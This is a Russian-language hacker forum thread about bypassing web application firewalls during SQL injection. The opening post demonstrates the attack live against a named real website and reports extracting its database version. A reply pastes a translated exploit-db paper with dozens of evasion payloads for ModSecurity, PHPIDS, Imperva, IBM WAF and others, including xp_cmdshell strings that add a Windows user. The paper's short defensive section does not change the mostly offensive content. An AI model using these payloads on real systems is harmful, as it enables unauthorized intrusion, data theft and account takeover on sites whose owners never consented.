Предисловие: Добрый день люд хакерский) Решил начать постить свою серию постов "для нубиков таких как я" ) За рание хочу попросить извинение за ошибки в правописание русского языка.Уж так сложилось что школе у меня было печально с русским языком,и я не в России живу.Не работаю в области ИТ.Поэтому если увидете где то много ошибок - не кричите в своих коментах школота)А если вы адмим или модератор то лучше тихонечко исправте) И так я не так давно начал увлекаться скулями и все чаще натыкаюсь на различные WAF(Web Application Firewall) и по этому иногда имею плохое настроения когда WAF не дает разкрутить скуль. И вот собственно говоря решил запостит пару методов обхода таких неудобняков) Содержание поста: WAF ByPass (\N , e , {}) WAF ByPass И так для демонстрации возмем какой то сайт и будем пробовать стандартные методы Waf ByPass HTML: http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=78 Посчетаем столбцы.Как это делать писать не буду.Статей на ачате море. И так у нас получилось 16 столбцов. Пробуем сделать вывод командой Union Select Code: http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=-16 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 В ответ получаем: "Not Acceptable! " Обычно такую ошибку генерирует ModSecurity. Как обойти ModSecurity?Обычно запрос типа:/*!50000union*/ /*!50000select*/ или union distinct|distinctrow select Думаю стоит попробывать: Code: http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=-16 /*!50000union*/ distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- - ModSecurity обходиться,но тут какой то другой WAF.. Давайте сделаем несколько тестов: Code: http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16 union В ответ: 403 Union блокируется ( Пробуем так: Code: http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16e0union 403 Попрежнему блочит. Пробуем: Code: http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=aunion Не блочит) Уже лучше) Но как сделать что бы не было ошибки синтаксиса 1064? Попробуем использовать \N Пробуем: Code: http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- Вуаля)) Сработало) 10 столбец уязвим... Попробуем посмотреть версию Code: http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16-- 403 опять блочит( Но в помощь нам прийдет еще одна хитрость, которую можно использовать в эксплуатации SQLi. Это функция mysql которая називается TIMESTAMP которая обычно определяет тип строки.Типо того что то: Code: SELECT TIMESTAMP 'str'; или так SELECT { ts column}; И так пробуем в нашем запросе: Code: http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,16-- Опа) Вот и версия 5.5.40-36.1 Еще одна проблема которую мы попытаемся решить - это как получить таблицы? Пробуем запрос Code: http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,16 from-- 403 Waf блокирует from. Существует метод обойти с помощью добавление точки к последнему столбцу и дальше пишем все без пробелов: Code: http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,.16from-- Обычно ModSecurity блочит information_schema.tables.Но мы же помним про TIMESTAMP Пробуем: http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,.16from {f information_schema.tables}-- Эх..WAF блочит словосочитание "schema.tables" Попробуем решить эту проблему. Когда Вебсервер парсит запрос,он использует такой формат DB.Tables.Column Сбалансируем запрос с помощью 'e'. В MySql information_schema 9.e.tables = information_schema.tables Code: http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,.16from {f information_schema 0.e.tables}-- ByPassed ))
Хм, проверил у себя на модсек. Ловит, видимо зависит от сборки ядра и правил, ну или от того какие правила включены , какие нет. Кинь и мне, если не трудно линк на других, спасибо
А ты злодей, мне тоже вконтакт кинь документацию. Кстати, помнишь мы тоже пытались получить доступ к information_schema. Надо попробовать Я ещё немного добавлю статью копипаст с exploitdb . Переводчик гугл Добро пожаловать, читатель. То, что ты видишь – результат долгих попыток документирования продвинутых техник эксплуатации SQL-инъекций, над которыми мы работали. Здесь будут показаны продвинутые техники обхода фильтров и обфускации, многие из которых могут быть применимы к реальным CMS и WAF. Предложенные в данном документе примеры SQL-инъекций – лишь некоторые из путей обхода защиты. Существуют и другие техники, которые могут быть использованы при атаке веб-приложений, но, к сожалению, мы не можем раскрыть их здесь, поскольку они используют уязвимости «нулевого дня». Тем не менее, цель данного документа – показать, что в реальном мире ни одна система не является абсолютно защищенной. Даже если ее охраняет WAF за 300 тысяч долларов. Документ разделен на 7 разделов, но техническая информация содержится только в разделах с 0x01 по 0x03. В разделе 0x01 мы опишем подробности обхода фильтров, включая фильтры функций и ключевых слов. В разделе 0x02 мы предлагаем обычные техники обхода коммерческих и свободных WAF. В разделе 0x03 мы тщательно обсудим продвинутые техники обхода, которые разбиваются на два подраздела: "HTTP Parameter Contamination" и "HTTP Pollution: Разделяй и соединяй". В разделе 0x04 мы укажем решения, направленные на защиту вашего сайта. Последний, 0x05, раздел - заключение по материалу, данному в предыдущих разделах. [0x01] - Filter Evasion (Mysql) В этом разделе будут описаны поведения filter evasion основанные на PHP и MySQL и то, как обойти фильтрацию. Filter evasion – техника, используемая для предотвращения атак типа SQL-инъекция. Она может осуществляться путем использования фильтрации функций SQL, ключевых слов или регулярных выражений. Это означает, что filter evasion сильно зависит от того, в каком виде хранится черный список или регулярные выражения. Если черный список или регулярное выражение не покрывают всевозможные сценарии инъекций, то веб-приложение по-прежнему уязвимо к SQL-инъекциям. [0x01a] - Обход фильтрации функций и ключевых слов Фильтрация функций и ключевых слов оберегает веб-приложения от атак c помощью черного списка функций и ключевых слов. Если атакующий посылает код инъекции, содержащий функцию или ключевое слово из черного списка, то инъекция потерпит неудачу. Тем не менее, если атакующий имеет возможность изменить инъекцию, использовав иную функцию или ключевое слово, то черный список не сможет предотвратить атаку. Чтобы предотвращать атаки, черный список должен содержать много функций и ключевых слов. Однако, это мешает легальным пользователям посылать запросы, содержащие запретные слова. Они просто будут отфильтрованы по черному списку. Следующие сценарии показывают примеры использования фильтрации ключевых слов и функций, а также техники обхода фильтрации. Фильтруемые ключевые слова: and, or ---------------------------------------------------------------------- код PHP-фильтра: preg_match('/(and|or)/i', $id) Ключевые слова and и or обычно используются как простой тест на уязвимость веб-приложения к SQL-инъекциям. Далее показан простой обход правила с использованием && и || вместо and и or. Отфильтрованная инъекция: 1 or 1 = 1 1 and 1 = 1 Пропущенная инъекция: 1 || 1 = 1 1 && 1 = 1 ---------------------------------------------------------------------- Фильтруемые ключевые слова: and, or, union ---------------------------------------------------------------------- код PHP-фильтра: preg_match('/(and|or|union)/i', $id) Ключевое слово union обычно используется для создания вредоносной инструкции, чтобы выбрать из базы дополнительные данные. Отфильтрованная инъекция: union select user, password from users Пропущенная инъекция: 1 || (select user from users where user_id = 1) = 'admin' ** Примечание: вы должны знать имя таблицы, столбца и какие-нибудь данные из этой таблицы, иначе вам придется получить эту информацию из таблицы information_schema.columns, используя другой оператор (например, функцию substring, чтобы получить имя таблицы посимвольно) ---------------------------------------------------------------------- Фильтруемые ключевые слова: and, or, union, where ---------------------------------------------------------------------- код PHP-фильтра: preg_match('/(and|or|union|where)/i', $id) Отфильтрованная инъекция: 1 || (select user from users where user_id = 1) = 'admin' Пропущенная инъекция: 1 || (select user from users limit 1) = 'admin' ---------------------------------------------------------------------- Фильтруемые ключевые слова: and, or, union, where, limit ---------------------------------------------------------------------- код PHP-фильтра: preg_match('/(and|or|union|where|limit)/i', $id) Отфильтрованная инъекция: 1 || (select user from users limit 1) = 'admin' Пропущенная инъекция: 1 || (select user from users group by user_id having user_id = 1) = 'admin' ---------------------------------------------------------------------- Фильтруемые ключевые слова: and, or, union, where, limit, group by ---------------------------------------------------------------------- код PHP-фильтра: preg_match('/(and|or|union|where|limit|group by)/i', $id) Отфильтрованная инъекция: 1 || (select user from users group by user_id having user_id = 1) = 'admin' Пропущенная инъекция: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1 ---------------------------------------------------------------------- Фильтруемые ключевые слова: and, or, union, where, limit, group by, select ---------------------------------------------------------------------- код PHP-фильтра: preg_match('/(and|or|union|where|limit|group by|select)/i', $id) Отфильтрованная инъекция: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 Пропущенная инъекция: 1 || 1 = 1 into outfile 'result.txt' Пропущенная инъекция: 1 || substr(user,1,1) = 'a' ---------------------------------------------------------------------- Фильтруемые ключевые слова: and, or, union, where, limit, group by, select, ' ---------------------------------------------------------------------- код PHP-фильтра: preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id) Отфильтрованная инъекция: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1 Пропущенная инъекция: 1 || user_id is not null Пропущенная инъекция: 1 || substr(user,1,1) = 0x61 Пропущенная инъекция: 1 || substr(user,1,1) = unhex(61) ---------------------------------------------------------------------- Фильтруемые ключевые слова: and, or, union, where, limit, group by, select, ', hex ---------------------------------------------------------------------- код PHP-фильтра: preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id) Отфильтрованная инъекция: 1 || substr(user,1,1) = unhex(61) Пропущенная инъекция: 1 || substr(user,1,1) = lower(conv(11,10,36)) ---------------------------------------------------------------------- Фильтруемые ключевые слова: and, or, union, where, limit, group by, select, ', hex, substr ---------------------------------------------------------------------- код PHP-фильтра: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id) Отфильтрованная инъекция: 1 || substr(user,1,1) = lower(conv(11,10,36)) Пропущенная инъекция: 1 || lpad(user,7,1) ---------------------------------------------------------------------- Фильтруемые ключевые слова: and, or, union, where, limit, group by, select, ', hex, substr, white space ---------------------------------------------------------------------- код PHP-фильтра: preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id) Отфильтрованная инъекция: 1 || lpad(user,7,1) Пропущенная инъекция: 1%0b||%0blpad(user,7,1) ---------------------------------------------------------------------- Из приведенных выше примеров видно, что существует сразу несколько SQL-выражений, позволяющих обойти черный список, хотя он содержит довольно много функций и ключевых слов. Более того, данный черный список можно обойти огромным количеством SQL-выражений, не попавших в примеры. Увеличение объема черного списка - не лучшая идея для защиты вашего сайта. Помните, чем больше функций и ключевых слов фильтруются, тем сайт менее удобен для пользователей. [0x01b] – Обход фильтрации по регулярным выражениям Фильтрация по регулярным выражениям – более совершенное решение для предотвращения SQL-инъекций, чем фильтрация функций и ключевых слов. Она использует проверку соответствия шаблонам (а не отдельным словам) для обнаружения атаки. Запросы легальных пользователей обрабатываются при этом более гибко. Тем не менее, регулярные выражения тоже можно обойти. Следующие примеры иллюстрируют скрипты инъекций, используемые для обхода регулярных выражений в PHPIDS 0.6 (свободно распространяемой системе обнаружения вторжений для веб-приложений). PHPIDS обычно блокирует запросы, содержащие = или ( или ', за которыми следует любая строка или целое число. Однако, это можно обойти, используя выражение, не содержащее симолов =, ( и '. --------------------------------------------------------------- Отфильтрованная инъекция: 1 or 1 = 1 Пропущенная инъекция: 1 or 1 [End Code]----------------------------------------------------------- --------------------------------------------------------------- Отфильтрованная инъекция: 1 union select 1, table_name from information_schema.tables where table_name = 'users' Отфильтрованная инъекция: 1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z' Отфильтрованная инъекция: 1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122) Пропущенная инъекция: 1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a Пропущенная инъекция: 1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273 [End Code]----------------------------------------------------------- [0x02] - Обычные техники обхода В этом разделе упоминаются техники WAF. Прежде всего вам нужно узнать, что такое WAF. Файрвол Веб-Приложений (WAF) – это программно-аппаратный комплекс, плагин сервера или фильтр, который применяет набор правил к HTTP-диалогу. Обычно эти правила покрывают распространенные атаки вроде межсайтового скриптинга (XSS) или SQL-инъекции. Адаптация правил WAF к вашим приложениям позволит обнаружить и блокировать множество атак. Однако, адаптация правил может потребовать значительных усилий и должна возобновляться после внесения изменений в приложение. WAF часто называют «Файрволы с глубоким исследованием пакетов», так как они просматривают каждый запрос и ответ для протоколов HTTP/HTTPS/SOAP/XML-RPC. Некоторые современные WAF-системы обнаруживают атаки как по сигнатурам, так и по отклонениям в поведении. Теперь давайте поймем, как пробиться через WAF с помощью обфускации. Все WAF можно обойти, поняв со временем их правила, или используя свое воображение! 1. Обход с помощью комментариев SQL-комментарии позволяют нам обходить множество фильтров и WAF. --------------------------------------------------------------- http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3-- [End Code]----------------------------------------------------------- 2. Изменение регистра букв Некоторые WAF фильтруют ключевые слова записанные только в нижнем регистре Фильтр регулярных выражений: /union\sselect/g --------------------------------------------------------------- http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3-- [End Code]----------------------------------------------------------- 3. Замещение ключевых слов Некоторые приложения и WAF используют preg_replace, чтобы убрать из запроса все ключевые слова SQL. Это можно легко обойти. --------------------------------------------------------------- http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3-- [End Code]----------------------------------------------------------- В некоторых случаях ключевые слова SQL отфильтровываются и заменяются пробелами. Это можно обойти, используя "%0b". --------------------------------------------------------------- http://victim.com/news.php?id=1+union+select+1,2,3-- [End Code]----------------------------------------------------------- В случае Mod_rewrite, обход с помощью комментариев "/**/" невозможен. Так что мы используем "%0b" вместо "/**/". Запрещено: http://victim.com/main/news/id/1/**/||/** /lpad(first_name,7,1).html Пропущено: http://victim.com/main/news/id/1||lpad(first_name,7,1).html 4. Кодировка символов Большинство CMS и WAF декодируют, а затем отфильтровывают/пропускают переданные приложению данные. Однако некоторые WAF декодируют данные лишь единожды, так что двойное кодирование может обойти определенные фильтры: WAF декодирует данные один раз перед фильтрацией, в то время как приложение продолжит декодирование при обработке SQL-запроса. ------------------------------------------------------------------------------ http://victim.com/news.php?id=1%2f%2a*/union%2f%2a /select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users-- [EndCode]------------------------------------------------------------------------------- Кроме того, комбинация этих приемов позволяет обходить Citrix Netscaler: - Удалите все пустые (NULL) слова - Используйте кодирование запроса в некоторых местах - Избавьтесь от символа одинарной кавычки "'" - И развлекайтесь! Информацию предоставил: Wendel Guglielmetti Henrique Armorlogic Profense до версии 2.4.4 мог быть обойден URL-кодированием символа новой строки. #Примеры из реального мира 1. NukeSentinel (Nuke Evolution) [Nukesentinel.php Code]------------------------------------------------------------ // Check for UNION attack // Copyright 2004(c) Raven PHP Scripts $blocker_row = $blocker_array[1]; if($blocker_row['activate'] > 0) { if (stristr($nsnst_const['query_string'],'+union+') OR \ stristr($nsnst_const['query_string'],'%20union%20') OR \ stristr($nsnst_const['query_string'],'*/union/*') OR \ stristr($nsnst_const['query_string'],' union ') OR \ stristr($nsnst_const['query_string_base64'],'+union+') OR \ stristr($nsnst_const['query_string_base64'],'%20union%20') OR \ stristr($nsnst_const['query_string_base64'],'*/union/*') OR \ stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row); die("BLOCK IP 1 " ); } } [End Code]------------------------------------------------------------------------- Мы можем обойти их фильтрацию с помощью такого скрипта: Запрещено: http://victim.com/php-nuke/?/**/union/**/select….. Пропущено: http://victim.com/php-nuke/?/**/union/**/select… Пропущено: http://victim.com/php-nuke/?/**/union/**/select… 2. Mod Security CRS (Предоставил: Johannes Dahse) [SecRule]-------------------------------------------------------------------------- SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}? \bselect\b" \ "phase2,rev:'2.2.1',capture,t:none, t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments, t:compressWhiteSpace,ctl:auditLogParts=+E,block, msg:'SQL Injection Attack',id:'959047',tag:'WEB_ATTACK /SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1', tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'% {TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}', setvar:tx.sql_injection_score=+% {tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}, setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}" [End Rule]------------------------------------------------------------------------- Следующий код позволяет обойти их фильтр: ------------------------------------------------------------------------------ http://victim.com/news.php?id=0+div+1+union#foo*/*bar select#foo %0D%0A1%2C2%2Ccurrent_user [End Code]-------------------------------------------------------------------------- Эта атака позволяет обойти правило фильтрации Mod Security. Давайте посмотрим, что происходит! MySQL Server поддерживает 3 вида комментариев: - От символа "#" до конца строки - От последовательности "--" до конца строки - Си-подобный: между "/*" и "*/". Такой синтаксис (си-подобный) позволяет комментарию растягиваться на несколько строк, так как открывающая и закрывающая последовательности не обязаны лежать в одной строке. В следующем примере мы использовали последовательность "%0D%0A" в качестве символов новой строки. Давайте рассмотрим первый запрос (выявляющий имя пользователя БД). Результирующий (декодированный) SQL-код выглядит примерно так: 0 div 1 union#foo*/*/bar select#foo 1,2,current_user А в итоге (учитывая комментарии) MySQL DB выполняет такой код: 0 div 1 union select 1,2,current_user 5. Переполнение буфера. WAF, написанный на языке Си, потенциально уязвим к переполнению и может вести себя нетипично при больших объемах передаваемых данных. Передача большого объема данных позволяет нашему коду выполниться. ------------------------------------------------------------------------------ http://victim.com/news.php?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141 414141414141….)+union+select+1,2,version(),database(),user(),6,7,8,9,10-- [End Code]-------------------------------------------------------------------------- 6. Встроенные комментарии (Только Mysql) Согласно справочному руководству по MySQL 5.0, MySQL Server поддерживает некоторые особые варианты Cи-подобных комментариев. Использование комментария следующего вида позволяет писать переносимый код, включающий расширения, специфичные для MySQL: /*! Код, специфичный для MySQL */ MySQL Server разберет и выполнит код, заключенный в такой комментарий, как любое другое SQL-выражение, но остальные SQL-серверы его проигнорируют. Множество WAF фильтрует ключевые слова SQL примерно так: /union\sselect\ig Мы можем обойти этот фильтр, используя встроенные комментарии. ------------------------------------------------------------------------------ http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3-- [End Code]-------------------------------------------------------------------------- Встроенные комментарии могут быть использованы в любом месте SQL выражения. Так что, если table_name или information_schema фильтруются, мы можем использовать больше встроенных комментариев. ------------------------------------------------------------------------------ http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT* /+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables /*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()-- [End Code]-------------------------------------------------------------------------- В недавнем тесте на проникновение мы смогли обойти Mod Security CRS и PentaSecurity- WAPPLE, используя эту технику. Подробнее смотри ниже: ################################################################################ Производитель: Penta Security System Продукт: Wapple Web Application Firewall Патч выпущен: 2011-10-02 (In SQL Injection Custom Policy Mode) Дата релиза: 2011-10-04 Информацию предоставили: Prathan Phongthiproek and Suphot Boonchamnan Эти скрипты могут [обойти] все правила фильтрации SQL-инъекций: 1 ||1=1 1 /*!order by*/ 3 1 /*!union select*/ 1,table_name from /*!information_schema.tables*/ 1 /*!union select*/ 1,column_name from /*!information_schema.columns where table_name = 0x7573657273*/ 1 /*!union select*/ /*!user,password*/ from /*!users*/ ##################################################################################### [0x03] – Продвинутые техники обхода В этом разделе мы предлагаем 2 техники: "HTTP Pollution: Разделяй и соединяй" и "HTTP Parameter Contamination". Эти техники позволяют обходить множество открытых и коммерческих WAF. [0x03a] - HTTP Parameter Pollution1: Разделяй и соединяй HTTP Pollution – это новый класс уязвимостей к инъекции, описанный Luca Carettoni и Stefano Di Paola. HPP - очень простой но эффективный прием взлома. HPP атаки можно определить как возможность замещения или добавления GET/POST параметров через инъекцию в строке запроса. Пример HPP: "http://victim.com/search.aspx?par1=val1&par1=val2" Обработка HTTP параметров: (пример) Веб-сервер Интерпретация параметров Пример ASP.NET/IIS Склеивание через запятую par1=val1,val2 ASP/IIS Склеивание через запятую par1=val1,val2 PHP/Apache Результат – последнее значение par1=val2 JSP/Tomcat Результат – первое значение par1=val1 Perl/Apache Результат – первое значение par1=val1 DBMan Склеивание через две тильды par1=val1~~val2 Что случится с WAF, которые разбирают строку запроса перед применением фильтров? (HPP может использоваться даже для обхода WAF). Некоторые бестолковые WAF могут анализировать и проверять только одно вхождение параметра (первое или последнее). Всякий раз, когда соответствующая среда склеивает множественные вхождения параметра (ASP, ASP.NET, DBMan,…), атакующий может разделить вредоносный код. В недавнем тесте на проникновение (опять) нам удалось обойти Imperva SecureSphere используя "HPP+встроенный комментарий" в среде ASP/ASP.NET. С помощью этого приема можно обходить и коммерческие WAF. Более подробная информация указана ниже: #Примеры из реального мира: 1. Mod Security CRS (Предоставил: Lavakumar Kuppan) The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked. Следующий запрос ModSecurity CRS считает атакой типа SQL-инъекция, и потому блокирует. Запрещено: http://victim.com/search.aspx?q=select name,password from users Когда тот же код разделяется на несколько параметров с одинаковыми именами, ModSecurity его не блокирует. Пропущено: http://victim.com/search.aspx?q=select name&q=password from users Посмотрим, что происходит. Вот интерпретация ModSecurity: q=select name q=password from users А вот интерпретация ASP/ASP.NET: q=select name,password from users *Замечание: подобную атаку можно провести и с POST-переменными. 2. Коммерческие WAF Запрещено: http://victim.com/search.aspx?q=select name,password from users Теперь используем HPP+встроенный комментарий для обхода. Пропущено: http://victim.com/search.aspx?q=select/*&q=*/name& amp;q=password/*&q=*/from/*&q=*/users Проанализируем. Вот интерпретация WAF: q=select/* q=*/name q=password/* q=*/from/* q=*/users Вот интерпретация ASP/ASP.NET: q=select/*,*/name,password/*,*/from/*,*/users q=select name,password from users 3. IBM Web Application Firewall (Предоставил: Wendel Guglielmetti Henrique of Trustwave's SpiderLabs) Запрещено: http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT /add” -- Снова используем HPP+встроенный комментарий для обхода. Пропущено: http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user lucifer UrWaFisShiT” /*&id=1*/ -- Проанализируем. Вот интерпретация WAF: id=1’; /* id=1*/ EXEC /* id=1*/ master..xp_cmdshell /* id=1*/ “net user zeq3ul UrWaFisShiT” /* id=1*/ -- Вот интерпретация ASP/ASP.NET: id=1’; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ “net user zeq3ul UrWaFisShiT” /*,1*/ -- id=1’; EXEC master..xp_cmdshell “net user zeq3ul UrWaFisShiT” -- Проще всего справиться с этой атакой WAF может, запретив множественные вхождения параметра в одном HTTP-запросе. Это предотвратит все разновидности данной атаки. Однако, такой запрет может оказаться невозможным в случаях, когда защищаемому приложению необходима возможность множественных вхождений параметров. В этом случае WAF должен интерпретировать HTTP-запрос так же, как это сделало бы приложение. [0x03b] - HTTP Parameter Contamination В основе HTTP Parameter Contamination (HPC) лежит инновационный подход, найденный в ходе более глубокого исследования HPP и использования странного поведения компонентов веб-серверов, веб-приложений и браузеров в результате замусоривания параметров строки запроса зарезервированными или не ожидаемыми символами. Некоторые факты: Термин «строка запроса» обычно относится к части URI, находящейся между "?" и концом URI. В RFC 3986 «строка запроса» определяется как последовательность пар поле-значение. Пары разделяются симолами "&" или ";" RFC 2396 определяет следующие классы символов: Незарезервированные: a-z, A-Z, 0-9 and _ . ! ~ * ' () Зарезервированные: ; / ? : @ & = + $ , Нецелесообразные2: { } | \ ^ [ ] ` Разные веб-сервера по-разному обрабатывают специально сформированные запросы. Можно назвать больше комбинаций серверов, движков и специальных символов, но для примера в этот раз нам хватит. Строка запроса и ответ веб-сервера (Пример) Строка запроса Ответ веб-сервера / GET значения Apache/2.2.16, PHP/5.3.3 IIS6/ASP ?test[1=2 test_1=2 test[1=2 ?test=% test=% test= ?test%00=1 test=1 test=1 ?test=1%001 NULL test=1 ?test+d=1+2 test_d=1 2 test d=1 2 Магическое влияние символа "%" на ASP/ASP.NET Ключевые слова WAF ASP/ASP.NET sele%ct * fr%om.. sele%ct * fr%om.. select * from.. ;dr%op ta%ble xxx ;dr%op ta%ble xxx ;drop table xxx <scr%ipt> <scr%ipt> <script> <if%rame> <if%rame> <iframe> #Примеры из реального мира: 1. Обход правила обнаружения SQL-инекции в Mod_Security (modsecurity_crs_41_sql_injection_attacks.conf) [Filtered]----------------------------------------------------------------------------- [Sun Jun 12 12:30:16 2011] [error] [client 192.168.2.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\bsys\\.user_objects\\b" at ARGS_NAMES:sys.user_objects. [file "/etc/apache2/conf.d /crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "110"] [id "959519"] [rev "2.2.0"] [msg "Blind SQL Injection Attack"] [data "sys.user_objects"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"] [unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"] [End Code]------------------------------------------------------------------------------ Запрещено: http://localhost/?xp_cmdshell Пропущено: http://localhost/?xp[cmdshell 2. Обход правила URLScan 3.1 DenyQueryStringSequences Запрещено: http://localhost/test.asp?file=../bla.txt Пропущено: http://localhost/test.asp?file=.%./bla.txt 3. Обход AQTRONIX Webknight (WAF для IIS и ASP/ASP.Net) Запрещено: http://victim.com/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables) Пропущено: http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables) Отсюда видно, что Webknight использует фильтрацию по ключевым словам. Но мы используем "HTTP contamination", вставляя "%" в ключевые слова SQL, которые WAF пропускает. В результате он пересылает на веб-сервер следующую команду: id=10 and 1=0/(select top 1 table_name from information_schema.tables) поскольку "%" является символом-пустышкой для ASP/ASP.Net. Техники взлома подобного вида всегда интересны, поскольку открывают новые перспективы для исследований проблем безопасности. Множество приложений оказываются уязвимыми к подобным атакам, поскольку для причуд веб-серверов не существует строгих правил. HPC можно использовать, чтобы расширить HPP-атаку на платформе IIS/ASP, скрывая настоящее имя параметра в строке запроса с помощью символа "%", если WAF блокирует HPP. [0x04] – Как защитить ваш сайт - Реализуйте жизненный цикл программного обеспечения (SDLC) - Безопасное программирование: проверяйте все входные и выходные данные - Проводите тест на проникновение перед открытием онлайн-доступа - Укрепляйте его защиту!! - Проводите повторные тесты на проникновение - Используйте WAF (необязательно) - Постоянно проверяйте наличие свежих патчей для WAF [0x05] - Заключение - WAF не оправдывает всех ожиданий - WAF имеет функциональные ограничения и не может защитить веб-приложение ото всех возможных уязвимостей. - Необходимо адаптировать фильтры WAF для конкретного защищаемого приложения - WAF не устраняет уязвимость, он лишь частично экранирует вектор атаки. [0x06] - Ссылки [1] WAF Bypass: SQL Injection - Kyle [2] http://cwe.mitre.org/data/definitions/98.html [3] HTTP Parameter Contamination - Ivan Markovic NSS [4] Split and Join - Lavakumar Kuppan [5] HTTP Parameter Pollution - Luca Carettoni and Stefano di Paola [6] blog.spiderlabs.com [0x07] - Благодарности Благодарим: ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2 Особое спасибо: Exploit-db.com
док по timestamp http://dev.mysql.com/doc/refman/5.6...rals.html#date-and-time-standard-sql-literals насчет того, откуда этот синтаксис с 0.e. всплыл - так и не смог найти. насчет \N я так и не нашел подтверждения, где это может работать. это не специфичный синтаксис mysql точно. если это где-то и работает, с mysql это вряд ли связано
Это работает, сам проверял. Но не знаю на всех ли версиях mysql это работает. И предполагаю, что это именно mysql так обрабатывает \N \N интерпретируется как null.
прямо сейчас проверил на своей базе mysql 5.5.19 запрос: Code: select\N,version(),\Nfrom table_test1 в ответ возвращается строки со значениями null, 5.5.19, null запрос к базе делал через десктопный клиент MySQL Workbench
По теме обфускации sql запросов: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt Есть методы для раличных бд, встречаются даже из первого поста
в таком виде работает. однако, в статье \N стоит перед UNION, конкретно этот пример нигде не заработал у меня
В консоле набиваем: а так норм: \N - это null ЗНАЧЕНИЕ, возможно в случае ТС, это значение обработалось какой либо функцией в скрипте как переход... information_schema X.e.tables где X любое int значение P.S: Доки бы к концу статьи приложить и в раздел статей перенести! Статья зачетная!